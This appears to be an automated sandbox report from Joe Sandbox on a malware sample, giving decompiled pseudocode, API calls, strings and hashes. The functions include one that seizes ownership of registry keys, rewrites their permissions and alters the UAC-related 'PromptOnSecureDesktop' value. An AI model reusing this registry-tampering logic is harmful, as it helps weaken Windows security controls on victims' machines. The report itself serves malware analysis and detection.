_wcscpy_s.LIBCMTD ref: 0042C5C7
__invoke_watson_if_error.LIBCMTD ref: 0042C5D0
_wcscpy_s.LIBCMTD ref: 0042C623
__invoke_watson_if_error.LIBCMTD ref: 0042C62C
_wcscat_s.LIBCMTD ref: 0042C65D
__invoke_watson_if_error.LIBCMTD ref: 0042C666

Strings

h8^@, xrefs: 0042C85E
t8j, xrefs: 0042C87D
`@, xrefs: 0042C5E4
h0b@, xrefs: 0042C640
h0b@, xrefs: 0042C859
t9j, xrefs: 0042CAD5

Memory Dump Source

Source File: 0000001A.00000002.443226113.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_415000_A881.jbxd

Similarity

API ID: __invoke_watson_if_error$_wcscpy_s$__invoke_watson_if_oneof_wcscat_s$__invalid_parameter$__cftoe__invoke_watson__itow_s__strftime_l_memset_xtow_s@20
String ID: h0b@$h0b@$h8^@$t8j$t9j$`@
API String ID: 2916338978-3976991231
Opcode ID: 2b0d81ac274eec9a04d9354171c1689d01862dfb3718bec967013c7681fcef77
Instruction ID: e042c10edd86b3646deb126cca1b01b1f734ec2fc3e5e63c16becbd280e432ee
Opcode Fuzzy Hash: 2b0d81ac274eec9a04d9354171c1689d01862dfb3718bec967013c7681fcef77
Instruction Fuzzy Hash: 990293B0A40728ABDB20DF54DC46BDF7378AB14705F5041AAF6097A2C1D7B89AC4CF99

Uniqueness

Uniqueness Score: -1.00%

Function 0040B211, Relevance: 47.4, APIs: 7, Strings: 20, Instructions: 131
timeCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E0040B211(FILETIME* _a4, CHAR* _a8, signed int _a12) {
				struct _FILETIME _v12;
				struct _SYSTEMTIME _v28;
				CHAR* _v32;
				CHAR* _v36;
				CHAR* _v40;
				CHAR* _v44;
				CHAR* _v48;
				CHAR* _v52;
				CHAR* _v56;
				CHAR* _v60;
				CHAR* _v64;
				CHAR* _v68;
				CHAR* _v72;
				CHAR* _v76;
				CHAR* _v80;
				CHAR* _v84;
				CHAR* _v88;
				CHAR* _v92;
				CHAR* _v96;
				CHAR* _v100;
				CHAR* _v104;
				struct _TIME_ZONE_INFORMATION _v276;
				long _t77;
				signed int _t80;
				signed int _t93;
				signed int _t101;
				signed int _t102;
				CHAR* _t103;
				signed int _t104;
				signed short _t106;
				signed short _t109;
				signed int _t114;
				signed int _t115;
				void* _t117;

				_v56 = "Sun";
				_v52 = "Mon";
				_v48 = "Tue";
				_v44 = "Wed";
				_v40 = "Thu";
				_v36 = "Fri";
				_v32 = "Sat";
				_v104 = "Jan";
				_v100 = "Feb";
				_v96 = "Mar";
				_v92 = "Apr";
				_v88 = "May";
				_v84 = "Jun";
				_v80 = "Jul";
				_v76 = "Aug";
				_v72 = "Sep";
				_v68 = "Oct";
				_v64 = "Nov";
				_v60 = "Dec";
				if(_a4 != 0) {
					FileTimeToLocalFileTime(_a4,  &_v12);
					FileTimeToSystemTime( &_v12,  &_v28);
				} else {
					GetLocalTime( &_v28);
				}
				_t114 = _a12;
				if(_t114 != 0) {
					SystemTimeToFileTime( &_v28,  &_v12);
					_t93 = E0040ECA5();
					if(_t114 <= 0) {
						_t104 = _t93 %  ~_t114 * 0x23c34600;
						_v12.dwLowDateTime = _v12.dwLowDateTime - _t104;
						asm("sbb [ebp-0x4], ebx");
					} else {
						_t104 = _t93 % _t114 * 0x23c34600;
						_v12.dwLowDateTime = _v12.dwLowDateTime + _t104;
						asm("adc [ebp-0x4], ebx");
					}
					FileTimeToSystemTime( &_v12,  &_v28);
				}
				_v276.Bias = 0;
				_t77 = GetTimeZoneInformation( &_v276);
				_t101 = _v276.Bias;
				if(_t77 == 2) {
					_t101 = _t101 + _v276.DaylightBias;
				}
				_t102 =  ~_t101;
				asm("cdq");
				_t80 = (_t102 ^ _t104) - _t104;
				if(_v28.wDayOfWeek > 6) {
					_t109 = 6;
					_v28.wDayOfWeek = _t109;
				}
				if(_v28.wMonth == 0) {
					_v28.wMonth = 1;
				}
				if(_v28.wMonth > 0xc) {
					_t106 = 0xc;
					_v28.wMonth = _t106;
				}
				_t103 = "+";
				if(_t102 < 0) {
					_t103 = "-";
				}
				_t115 = 0x3c;
				asm("cdq");
				return wsprintfA(_a8, "%s, %u %s %u %.2u:%.2u:%.2u %s%.2u%.2u",  *((intOrPtr*)(_t117 + (_v28.wDayOfWeek & 0x0000ffff) * 4 - 0x34)), _v28.wDay & 0x0000ffff,  *((intOrPtr*)(_t117 + (_v28.wMonth & 0x0000ffff) * 4 - 0x68)), _v28.wYear & 0x0000ffff, _v28.wHour & 0x0000ffff, _v28.wMinute & 0x0000ffff, _v28.wSecond & 0x0000ffff, _t103, _t80 / _t115, _t80 % _t115);
			}

0x0040b225
0x0040b22c
0x0040b233
0x0040b23a
0x0040b241
0x0040b248
0x0040b24f
0x0040b256
0x0040b25d
0x0040b264
0x0040b26b
0x0040b272
0x0040b279
0x0040b280
0x0040b287
0x0040b28e
0x0040b295
0x0040b29c
0x0040b2a3
0x0040b2ad
0x0040b2c2
0x0040b2d0
0x0040b2af
0x0040b2b3
0x0040b2b3
0x0040b2d2
0x0040b2d7
0x0040b2e1
0x0040b2e7
0x0040b2f0
0x0040b306
0x0040b30c
0x0040b30f
0x0040b2f2
0x0040b2f4
0x0040b2fa
0x0040b2fd
0x0040b2fd
0x0040b31a
0x0040b31a
0x0040b323
0x0040b329
0x0040b32f
0x0040b338
0x0040b33a
0x0040b33a
0x0040b33d
0x0040b341
0x0040b344
0x0040b34b
0x0040b34f
0x0040b350
0x0040b350
0x0040b358
0x0040b35d
0x0040b35d
0x0040b366
0x0040b36a
0x0040b36b
0x0040b36b
0x0040b371
0x0040b376
0x0040b378
0x0040b378
0x0040b37f
0x0040b380
0x0040b3c4

APIs

GetLocalTime.KERNEL32(0003E800,?,0003E800,00000000), ref: 0040B2B3
FileTimeToLocalFileTime.KERNEL32(00000000,00000000,?,0003E800,00000000), ref: 0040B2C2
FileTimeToSystemTime.KERNEL32(00000000,0003E800), ref: 0040B2D0
SystemTimeToFileTime.KERNEL32(0003E800,00000000), ref: 0040B2E1
FileTimeToSystemTime.KERNEL32(00000000,0003E800), ref: 0040B31A
GetTimeZoneInformation.KERNEL32(?), ref: 0040B329
wsprintfA.USER32 ref: 0040B3B7

Strings

Fri, xrefs: 0040B248
Thu, xrefs: 0040B241
Tue, xrefs: 0040B233
Jul, xrefs: 0040B280
Jun, xrefs: 0040B279
Wed, xrefs: 0040B23A
Feb, xrefs: 0040B25D
Oct, xrefs: 0040B295
Aug, xrefs: 0040B287
Mar, xrefs: 0040B264
Dec, xrefs: 0040B2A3
May, xrefs: 0040B272
Nov, xrefs: 0040B29C
Sep, xrefs: 0040B28E
Sat, xrefs: 0040B24F
%s, %u %s %u %.2u:%.2u:%.2u %s%.2u%.2u, xrefs: 0040B3AF
Mon, xrefs: 0040B22C
Jan, xrefs: 0040B256
Apr, xrefs: 0040B26B
Sun, xrefs: 0040B225

Memory Dump Source

Source File: 0000001A.00000002.443196839.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.443214097.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_A881.jbxd

Yara matches

Similarity

API ID: Time$File$System$Local$InformationZonewsprintf
String ID: %s, %u %s %u %.2u:%.2u:%.2u %s%.2u%.2u$Apr$Aug$Dec$Feb$Fri$Jan$Jul$Jun$Mar$May$Mon$Nov$Oct$Sat$Sep$Sun$Thu$Tue$Wed
API String ID: 766114626-2976066047
Opcode ID: fbb2cc535003bdd2a03704f06e43c86ec17b275768f9954b8d174276db173d5b
Instruction ID: 3cccae2c5b68faf9d5e65ebc3321ef0303f497beb4f825406ae493c25d793f5b
Opcode Fuzzy Hash: fbb2cc535003bdd2a03704f06e43c86ec17b275768f9954b8d174276db173d5b
Instruction Fuzzy Hash: D8510EB1D0021CAADF18DFD5D8495EEBBB9EF48304F10856BE501B6250E7B84AC9CF98

Uniqueness

Uniqueness Score: -1.00%

Function 00407A95, Relevance: 45.8, APIs: 24, Strings: 2, Instructions: 269
registrymemoryCOMMON

Download Yara Rule

C-Code - Quality: 99%

			E00407A95(void* _a4, char* _a8, signed int _a12) {
				int _v8;
				void* _v12;
				void* _v16;
				void* _v20;
				int _v24;
				void* _v28;
				struct _ACL* _v32;
				long _v36;
				long _v40;
				long _v44;
				int _v48;
				int _v52;
				union _SID_NAME_USE _v56;
				int _v60;
				int _v64;
				void _v132;
				char _v388;
				char _v516;
				struct _SECURITY_DESCRIPTOR _v1540;
				void* _t95;
				void* _t104;
				void* _t107;
				void* _t111;
				void* _t116;
				struct _ACL* _t117;
				void* _t118;
				void* _t120;
				void* _t122;
				void* _t123;
				void* _t125;
				char* _t126;
				void* _t130;
				void* _t134;
				void* _t135;
				signed int _t136;
				void* _t143;
				void* _t146;
				int _t148;
				int _t151;
				void** _t159;
				void* _t161;
				void* _t164;
				signed int _t172;
				void* _t173;
				char* _t174;
				void* _t175;
				void* _t176;

				_v32 = 0;
				_v12 = 0;
				_v28 = 0;
				if(RegOpenKeyExA(_a4, _a8, 0, 0xe0100,  &_v28) != 0) {
					return 0;
				}
				_v40 = 0x80;
				_t95 = GetUserNameA( &_v388,  &_v40);
				__eflags = _t95;
				if(_t95 == 0) {
					L48:
					RegCloseKey(_v28);
					return _v12;
				} else {
					_v36 = 0x44;
					_v44 = 0x80;
					_t104 = LookupAccountNameA(0,  &_v388,  &_v132,  &_v36,  &_v516,  &_v44,  &_v56);
					__eflags = _t104;
					if(_t104 == 0) {
						goto L48;
					}
					_v48 = 0x400;
					_t107 = RegGetKeySecurity(_v28, 5,  &_v1540,  &_v48);
					__eflags = _t107;
					if(_t107 != 0) {
						goto L48;
					}
					_t111 = GetSecurityDescriptorOwner( &_v1540,  &_v16,  &_v60);
					__eflags = _t111;
					if(_t111 == 0) {
						L12:
						_v24 = 0;
						_t116 = GetSecurityDescriptorDacl( &_v1540,  &_v64,  &_v32,  &_v52);
						__eflags = _t116;
						if(_t116 == 0) {
							L47:
							goto L48;
						}
						_t117 = _v32;
						__eflags = _t117;
						if(_t117 == 0) {
							goto L47;
						}
						_t164 = 0;
						_v8 = 0;
						__eflags = 0 - _t117->AceCount;
						if(0 >= _t117->AceCount) {
							goto L47;
						} else {
							goto L15;
						}
						do {
							L15:
							_t118 = GetAce(_t117, _v8,  &_v20);
							__eflags = _t118;
							if(_t118 == 0) {
								L31:
								_t73 =  &_v8;
								 *_t73 = _v8 + 1;
								__eflags =  *_t73;
								goto L32;
							}
							_t172 = 0;
							_v16 = _v20 + 8;
							__eflags = _t164;
							if(_t164 <= 0) {
								L21:
								__eflags = _t164 - 0x20;
								if(_t164 < 0x20) {
									 *((intOrPtr*)(_t176 + _t164 * 4 - 0x100)) = _v16;
									_t164 = _t164 + 1;
									__eflags = _t164;
								}
								_t134 = EqualSid( &_v132, _v16);
								_t159 = _v20;
								__eflags = _t134;
								if(_t134 == 0) {
									_t135 = 0x20000;
								} else {
									asm("sbb eax, eax");
									_t135 = ( ~_a12 & 0x00010006) + 0xe0039;
								}
								__eflags = _t159[1] - _t135;
								if(_t159[1] != _t135) {
									_t159[1] = _t135;
									_t159 = _v20;
									_v24 = 1;
								}
								__eflags =  *_t159;
								if( *_t159 != 0) {
									L30:
									 *_t159 = 0;
									_t136 = _v16;
									__eflags =  *(_t136 + 8);
									_t68 =  *(_t136 + 8) == 0;
									__eflags = _t68;
									_v24 = 1;
									 *((char*)(_v20 + 1)) = 2 + (_t136 & 0xffffff00 | _t68) * 8;
									goto L31;
								} else {
									__eflags = _t159[0] & 0x00000010;
									if((_t159[0] & 0x00000010) == 0) {
										goto L31;
									}
									goto L30;
								}
							} else {
								goto L17;
							}
							while(1) {
								L17:
								_t143 = EqualSid( *(_t176 + _t172 * 4 - 0x100), _v16);
								__eflags = _t143;
								if(_t143 != 0) {
									break;
								}
								_t172 = _t172 + 1;
								__eflags = _t172 - _t164;
								if(_t172 < _t164) {
									continue;
								}
								break;
							}
							__eflags = _t172 - _t164;
							if(_t172 >= _t164) {
								goto L21;
							}
							DeleteAce(_v32, _v8);
							_v24 = 1;
							L32:
							_t117 = _v32;
							__eflags = _v8 - (_t117->AceCount & 0x0000ffff);
						} while (_v8 < (_t117->AceCount & 0x0000ffff));
						__eflags = _v24;
						if(_v24 == 0) {
							goto L47;
						}
						__eflags =  *0x4121a8; // 0x0
						if(__eflags == 0) {
							L41:
							_v12 = 1;
							_t173 = LocalAlloc(0x40, 0x14);
							__eflags = _t173;
							if(_t173 != 0) {
								_t120 = InitializeSecurityDescriptor(_t173, 1);
								__eflags = _t120;
								if(_t120 != 0) {
									_t122 = SetSecurityDescriptorDacl(_t173, 1, _v32, 0);
									__eflags = _t122;
									if(_t122 != 0) {
										_t123 = RegSetKeySecurity(_v28, 4, _t173);
										__eflags = _t123;
										if(_t123 == 0) {
											_v12 = 1;
										}
									}
								}
								LocalFree(_t173);
							}
							goto L47;
						}
						__eflags =  *0x412cc0; // 0x0
						if(__eflags == 0) {
							goto L41;
						}
						_v12 = 0;
						_t125 = RegOpenKeyExA(_a4, _a8, 0, 0x103,  &_v12);
						__eflags = _t125;
						if(_t125 != 0) {
							goto L41;
						}
						_t126 = 0x4121a8;
						_t83 =  &(_t126[1]); // 0x4121a9
						_t174 = _t83;
						do {
							_t161 =  *_t126;
							_t126 =  &(_t126[1]);
							__eflags = _t161;
						} while (_t161 != 0);
						_t130 = RegSetValueExA(_v12, E00402544("PromptOnSecureDesktop", 0x4106dc, 0xa, 0xe4, 0xc8), 0, 2, 0x4121a8, _t126 - _t174 + 1);
						__eflags = _t130;
						if(_t130 == 0) {
							 *0x412cc0 = 0;
						}
						goto L41;
					}
					_t146 = EqualSid( &_v132, _v16);
					__eflags = _t146;
					if(_t146 != 0) {
						goto L12;
					}
					_v12 = 1;
					_t175 = LocalAlloc(0x40, 0x14);
					__eflags = _t175;
					if(_t175 != 0) {
						_t148 = InitializeSecurityDescriptor(_t175, 1);
						__eflags = _t148;
						if(_t148 != 0) {
							_t151 = SetSecurityDescriptorOwner(_t175,  &_v132, 0);
							__eflags = _t151;
							if(_t151 != 0) {
								RegSetKeySecurity(_v28, 1, _t175);
							}
						}
						LocalFree(_t175);
					}
					goto L12;
				}
			}

0x00407aae
0x00407ab4
0x00407ab7
0x00407ac2
0x00000000
0x00407ac4
0x00407adc
0x00407adf
0x00407ae5
0x00407ae7
0x00407da7
0x00407daa
0x00000000
0x00407aed
0x00407b0c
0x00407b13
0x00407b16
0x00407b1c
0x00407b1e
0x00000000
0x00000000
0x00407b34
0x00407b3b
0x00407b41
0x00407b43
0x00000000
0x00000000
0x00407b59
0x00407b5f
0x00407b61
0x00407bb8
0x00407bcb
0x00407bce
0x00407bd4
0x00407bd6
0x00407da6
0x00000000
0x00407da6
0x00407bdc
0x00407bdf
0x00407be1
0x00000000
0x00000000
0x00407be9
0x00407beb
0x00407bee
0x00407bf2
0x00000000
0x00000000
0x00000000
0x00000000
0x00407bf8
0x00407bf8
0x00407c00
0x00407c06
0x00407c08
0x00407cc6
0x00407cc6
0x00407cc6
0x00407cc6
0x00000000
0x00407cc6
0x00407c14
0x00407c16
0x00407c19
0x00407c1b
0x00407c4f
0x00407c4f
0x00407c52
0x00407c57
0x00407c5e
0x00407c5e
0x00407c5e
0x00407c66
0x00407c6c
0x00407c6f
0x00407c71
0x00407c86
0x00407c73
0x00407c78
0x00407c7f
0x00407c7f
0x00407c8b
0x00407c8e
0x00407c90
0x00407c93
0x00407c96
0x00407c96
0x00407c9d
0x00407c9f
0x00407ca7
0x00407ca7
0x00407ca9
0x00407cac
0x00407cb2
0x00407cb2
0x00407cb5
0x00407cc3
0x00000000
0x00407ca1
0x00407ca1
0x00407ca5
0x00000000
0x00000000
0x00000000
0x00407ca5
0x00000000
0x00000000
0x00000000
0x00407c1d
0x00407c1d
0x00407c27
0x00407c2d
0x00407c2f
0x00000000
0x00000000
0x00407c31
0x00407c32
0x00407c34
0x00000000
0x00000000
0x00000000
0x00407c34
0x00407c36
0x00407c38
0x00000000
0x00000000
0x00407c40
0x00407c46
0x00407cc9
0x00407cc9
0x00407cd0
0x00407cd0
0x00407cd9
0x00407cdc
0x00000000
0x00000000
0x00407ce2
0x00407ce8
0x00407d5a
0x00407d61
0x00407d6a
0x00407d6c
0x00407d6e
0x00407d72
0x00407d78
0x00407d7a
0x00407d82
0x00407d88
0x00407d8a
0x00407d92
0x00407d98
0x00407d9a
0x00407d9c
0x00407d9c
0x00407d9a
0x00407d8a
0x00407da0
0x00407da0
0x00000000
0x00407d6e
0x00407cea
0x00407cf0
0x00000000
0x00000000
0x00407cff
0x00407d05
0x00407d0b
0x00407d0d
0x00000000
0x00000000
0x00407d14
0x00407d16
0x00407d16
0x00407d19
0x00407d19
0x00407d1b
0x00407d1c
0x00407d1c
0x00407d4a
0x00407d50
0x00407d52
0x00407d54
0x00407d54
0x00000000
0x00407d52
0x00407b6a
0x00407b70
0x00407b72
0x00000000
0x00000000
0x00407b7b
0x00407b84
0x00407b86
0x00407b88
0x00407b8c
0x00407b92
0x00407b94
0x00407b9c
0x00407ba2
0x00407ba4
0x00407bab
0x00407bab
0x00407ba4
0x00407bb2
0x00407bb2
0x00000000
0x00407b88

APIs

RegOpenKeyExA.ADVAPI32(000000E4,00000022,00000000,000E0100,00000000,00000000), ref: 00407ABA
GetUserNameA.ADVAPI32(?,?), ref: 00407ADF
LookupAccountNameA.ADVAPI32(00000000,?,?,0041070C,?,004133B0,?), ref: 00407B16
RegGetKeySecurity.ADVAPI32(00000000,00000005,?,?), ref: 00407B3B
GetSecurityDescriptorOwner.ADVAPI32(?,00000022,80000002), ref: 00407B59
EqualSid.ADVAPI32(?,00000022), ref: 00407B6A
LocalAlloc.KERNEL32(00000040,00000014), ref: 00407B7E
InitializeSecurityDescriptor.ADVAPI32(00000000,00000001), ref: 00407B8C
SetSecurityDescriptorOwner.ADVAPI32(00000000,?,00000000), ref: 00407B9C
RegSetKeySecurity.ADVAPI32(00000000,00000001,00000000), ref: 00407BAB
LocalFree.KERNEL32(00000000), ref: 00407BB2
GetSecurityDescriptorDacl.ADVAPI32(?,00407FC9,?,00000000), ref: 00407BCE

Strings

D, xrefs: 00407B0C
PromptOnSecureDesktop, xrefs: 00407D39

Memory Dump Source

Source File: 0000001A.00000002.443196839.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.443214097.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_A881.jbxd

Yara matches

Similarity

API ID: Security$Descriptor$LocalNameOwner$AccountAllocDaclEqualFreeInitializeLookupOpenUser
String ID: D$PromptOnSecureDesktop
API String ID: 2976863881-1403908072
Opcode ID: d4f479c9f78d504b8da3df740f472ce51a34dde969fc05e485fb9939b8f25359
Instruction ID: e17c9e5f60e255820364911aa1186e0accab4a2e7248257c6285c946b731c67d
Opcode Fuzzy Hash: d4f479c9f78d504b8da3df740f472ce51a34dde969fc05e485fb9939b8f25359
Instruction Fuzzy Hash: 6FA14D71D04219ABDB119FA0DD44EEF7B78FF48304F04807AE505F2290D779AA85CB69

Uniqueness

Uniqueness Score: -1.00%

Function 006C7CE5, Relevance: 45.8, APIs: 24, Strings: 2, Instructions: 269registrymemoryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(?,?,00000000,000E0100,?), ref: 006C7D0A
GetUserNameA.ADVAPI32(?,?), ref: 006C7D2F
LookupAccountNameA.ADVAPI32(00000000,?,?,?,?,?,?), ref: 006C7D66
RegGetKeySecurity.ADVAPI32(?,00000005,?,?), ref: 006C7D8B
GetSecurityDescriptorOwner.ADVAPI32(?,?,?), ref: 006C7DA9
EqualSid.ADVAPI32(?,?), ref: 006C7DBA
LocalAlloc.KERNEL32(00000040,00000014), ref: 006C7DCE
InitializeSecurityDescriptor.ADVAPI32(00000000,00000001), ref: 006C7DDC
SetSecurityDescriptorOwner.ADVAPI32(00000000,?,00000000), ref: 006C7DEC
RegSetKeySecurity.ADVAPI32(?,00000001,00000000), ref: 006C7DFB
LocalFree.KERNEL32(00000000), ref: 006C7E02
GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 006C7E1E

Strings

D, xrefs: 006C7D5C
PromptOnSecureDesktop, xrefs: 006C7F89

Memory Dump Source

Source File: 0000001A.00000002.443373510.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_6c0000_A881.jbxd

Yara matches

Similarity

API ID: Security$Descriptor$LocalNameOwner$AccountAllocDaclEqualFreeInitializeLookupOpenUser
String ID: D$PromptOnSecureDesktop
API String ID: 2976863881-1403908072
Opcode ID: 1a53823342927d1e4650e54f1beed8d9b04cc787a6d03e02cd47dd5285ddf864
Instruction ID: fe080db1c599315100fa4044c6d206332c5603f717a4d85864f921199bc33c20
Opcode Fuzzy Hash: 1a53823342927d1e4650e54f1beed8d9b04cc787a6d03e02cd47dd5285ddf864
Instruction Fuzzy Hash: 92A14C72904209AFDB118FA1DD88FFEBBBAFB48300F04806DE515E6250DB758A85CF64

Uniqueness

Uniqueness Score: -1.00%

Function 00406511, Relevance: 42.2, APIs: 14, Strings: 10, Instructions: 182
COMMON

Download Yara Rule

C-Code - Quality: 57%

			E00406511(void* __ecx) {
				signed int _t75;
				signed int _t76;
				int _t78;
				void* _t83;
				signed int _t93;
				void* _t95;
				signed int _t99;
				int _t101;
				int _t115;
				int _t117;
				void* _t118;
				void* _t119;
				void* _t120;
				void* _t122;
				intOrPtr _t135;
				intOrPtr* _t137;
				void* _t139;
				void* _t141;
				void* _t143;
				void* _t144;
				void* _t152;

				_t122 = __ecx;
				_t139 = _t141 - 0x74;
				_t75 =  *(_t139 + 0x7c);
				_t135 =  *((intOrPtr*)(_t75 + 4));
				_t76 =  *_t75;
				 *(_t139 + 0x7c) = _t76;
				_t78 = wsprintfA(_t139 - 0x898, "\nver=%d date=%s %s\nc=%08x a=%p", 0x61, "Jan 13 2018", "12:08:32",  *_t76,  *((intOrPtr*)(_t76 + 0xc)));
				_t143 = _t141 - 0x90c + 0x1c;
				_t117 = _t78;
				if(IsBadReadPtr( *( *(_t139 + 0x7c) + 0xc), 8) != 0) {
					E0040E318();
					ExitProcess(0);
				}
				_t83 =  *( *(_t139 + 0x7c) + 0xc);
				__imp__#8( *((intOrPtr*)(_t83 + 4)), E00406511);
				__imp__#8();
				_t118 = _t117 + wsprintfA(_t139 + _t117 - 0x898, " va=%08X%08X uef=%p",  *( *(_t139 + 0x7c) + 0xc),  *( *( *(_t139 + 0x7c) + 0xc)), _t83);
				_t119 = _t118 + wsprintfA(_t139 + _t118 - 0x898, "\n_ax=%p\t_bx=%p\t_cx=%p\t_dx=%p\t_si=%p\t_di=%p\t_bp=%p\t_sp=%p\n",  *((intOrPtr*)(_t135 + 0xb0)),  *((intOrPtr*)(_t135 + 0xa4)),  *((intOrPtr*)(_t135 + 0xac)),  *((intOrPtr*)(_t135 + 0xa8)),  *((intOrPtr*)(_t135 + 0xa0)),  *((intOrPtr*)(_t135 + 0x9c)),  *((intOrPtr*)(_t135 + 0xb4)),  *((intOrPtr*)(_t135 + 0xc4)));
				E0040EE2A(_t122, _t139 - 0x98, 0, 0x108);
				_t144 = _t143 + 0x48;
				 *((intOrPtr*)(_t139 - 0x98)) =  *((intOrPtr*)(_t135 + 0xb8));
				_t93 = 3;
				_push(0);
				_push(0);
				 *(_t139 - 0x8c) = _t93;
				 *((intOrPtr*)(_t139 - 0x94)) = 0;
				_push(0);
				 *(_t139 - 0x5c) = _t93;
				_push(0);
				 *((intOrPtr*)(_t139 - 0x68)) =  *((intOrPtr*)(_t135 + 0xc4));
				 *((intOrPtr*)(_t139 - 0x64)) = 0;
				_t130 =  *((intOrPtr*)(_t135 + 0xb4));
				 *(_t139 - 0x6c) = _t93;
				 *(_t139 + 0x7c) = _t93;
				_push(_t135);
				_push(_t139 - 0x98);
				 *((intOrPtr*)(_t139 - 0x78)) =  *((intOrPtr*)(_t135 + 0xb4));
				 *((intOrPtr*)(_t139 - 0x74)) = 0;
				_push(0);
				while(1) {
					_t95 = GetCurrentProcess();
					__imp__StackWalk64(0x14c, _t95);
					if(_t95 == 0) {
						break;
					}
					_t95 = 0;
					if( *(_t139 + 0x7c) != 0) {
						if( *((intOrPtr*)(_t139 - 0x88)) != 0) {
							_t115 = wsprintfA(_t139 + _t119 - 0x898, "ret=%p\tp1=%p\tp2=%p\tp3=%p\tp4=%p\n",  *((intOrPtr*)(_t139 - 0x88)),  *((intOrPtr*)(_t139 - 0x40)),  *((intOrPtr*)(_t139 - 0x38)),  *((intOrPtr*)(_t139 - 0x30)),  *((intOrPtr*)(_t139 - 0x28)));
							_t144 = _t144 + 0x1c;
							_t119 = _t119 + _t115;
							_t95 = 0;
						}
						 *(_t139 + 0x7c) =  *(_t139 + 0x7c) - 1;
						_push(_t95);
						_push(_t95);
						_push(_t95);
						_push(_t95);
						_push(_t135);
						_push(_t139 - 0x98);
						_push(_t95);
						continue;
					}
					break;
				}
				 *(_t139 + 0x7c) = _t95;
				_t120 = _t119 + wsprintfA(_t139 + _t119 - 0x898, "plgs:");
				 *(_t139 + 0x70) =  *(_t139 + 0x70) & 0x00000000;
				do {
					_t137 = 0x412c40 +  *(_t139 + 0x70) * 4;
					if( *_t137 != 0) {
						_t99 =  *(_t139 + 0x7c) & 0x80000007;
						if(_t99 < 0) {
							_t152 = (_t99 - 0x00000001 | 0xfffffff8) + 1;
						}
						if(_t152 == 0) {
							_t120 = _t120 + wsprintfA(_t139 + _t120 - 0x898, "\n");
						}
						_t101 = wsprintfA(_t139 + _t120 - 0x898, "\t%d=%p",  *(_t139 + 0x70),  *_t137);
						_t144 = _t144 + 0x10;
						_t120 = _t120 + _t101;
						 *(_t139 + 0x7c) =  *(_t139 + 0x7c) + 1;
					}
					 *(_t139 + 0x70) =  *(_t139 + 0x70) + 1;
				} while ( *(_t139 + 0x70) < 0x20);
				wsprintfA(_t139 + _t120 - 0x898, "\n");
				E0040E8A1(_t130, 1, "localcfg", "except_info", _t139 - 0x898);
				E0040E318();
				return 1;
			}

0x00406511
0x00406512
0x0040651c
0x00406521
0x00406524
0x00406532
0x0040654d
0x0040654f
0x00406552
0x00406564
0x0040674e
0x00406755
0x00406755
0x0040656d
0x00406578
0x00406587
0x004065a3
0x004065e3
0x004065ee
0x004065f9
0x00406600
0x00406606
0x00406607
0x00406608
0x00406609
0x0040660f
0x0040661b
0x0040661c
0x0040661f
0x00406620
0x00406623
0x00406626
0x0040662c
0x0040662f
0x00406632
0x00406639
0x0040663a
0x0040663d
0x00406640
0x0040668a
0x0040668a
0x00406696
0x0040669e
0x00000000
0x00000000
0x00406643
0x00406648
0x00406650
0x00406671
0x00406673
0x00406676
0x00406678
0x00406678
0x0040667a
0x0040667d
0x0040667e
0x0040667f
0x00406680
0x00406681
0x00406688
0x00406689
0x00000000
0x00406689
0x00000000
0x00406648
0x004066a0
0x004066b3
0x004066b5
0x004066ba
0x004066bd
0x004066c7
0x004066cc
0x004066d1
0x004066d7
0x004066d7
0x004066d8
0x004066eb
0x004066eb
0x004066ff
0x00406701
0x00406704
0x00406706
0x00406706
0x00406709
0x0040670c
0x0040671f
0x00406734
0x0040673c
0x0040674b

APIs

wsprintfA.USER32 ref: 0040654D
IsBadReadPtr.KERNEL32(?,00000008), ref: 0040655C
htonl.WS2_32(?), ref: 00406578
htonl.WS2_32(?), ref: 00406587
wsprintfA.USER32 ref: 0040659B
wsprintfA.USER32 ref: 004065DC
wsprintfA.USER32 ref: 00406671
GetCurrentProcess.KERNEL32(00000000,?,?,00000000,00000000,00000000,00000000), ref: 0040668A
StackWalk64.DBGHELP(0000014C,00000000), ref: 00406696
wsprintfA.USER32 ref: 004066B0
wsprintfA.USER32 ref: 004066E7
wsprintfA.USER32 ref: 004066FF
wsprintfA.USER32 ref: 0040671F
ExitProcess.KERNEL32 ref: 00406755

Strings

ver=%d date=%s %sc=%08x a=%p, xrefs: 00406547
localcfg, xrefs: 0040672D
va=%08X%08X uef=%p, xrefs: 00406595
Jan 13 2018, xrefs: 0040653A
except_info, xrefs: 00406728
12:08:32, xrefs: 00406535
_ax=%p_bx=%p_cx=%p_dx=%p_si=%p_di=%p_bp=%p_sp=%p, xrefs: 004065D6
ret=%pp1=%pp2=%pp3=%pp4=%p, xrefs: 0040666B
plgs:, xrefs: 004066AA
%d=%p, xrefs: 004066F9

Memory Dump Source

Source File: 0000001A.00000002.443196839.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.443214097.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_A881.jbxd

Yara matches

Similarity

API ID: wsprintf$Processhtonl$CurrentExitReadStackWalk64
String ID: %d=%p$_ax=%p_bx=%p_cx=%p_dx=%p_si=%p_di=%p_bp=%p_sp=%p$ver=%d date=%s %sc=%08x a=%p$ va=%08X%08X uef=%p$12:08:32$Jan 13 2018$except_info$localcfg$plgs:$ret=%pp1=%pp2=%pp3=%pp4=%p
API String ID: 2400214276-165278494
Opcode ID: fbd2438e5a8d786474603689893f321f2aaf39c813a77a2b8649c1733411c7dd
Instruction ID: d0bbb1ce902d37c6012dbda67fcae0275dd4f0eb650f6cdd038f268f1af807dd
Opcode Fuzzy Hash: fbd2438e5a8d786474603689893f321f2aaf39c813a77a2b8649c1733411c7dd
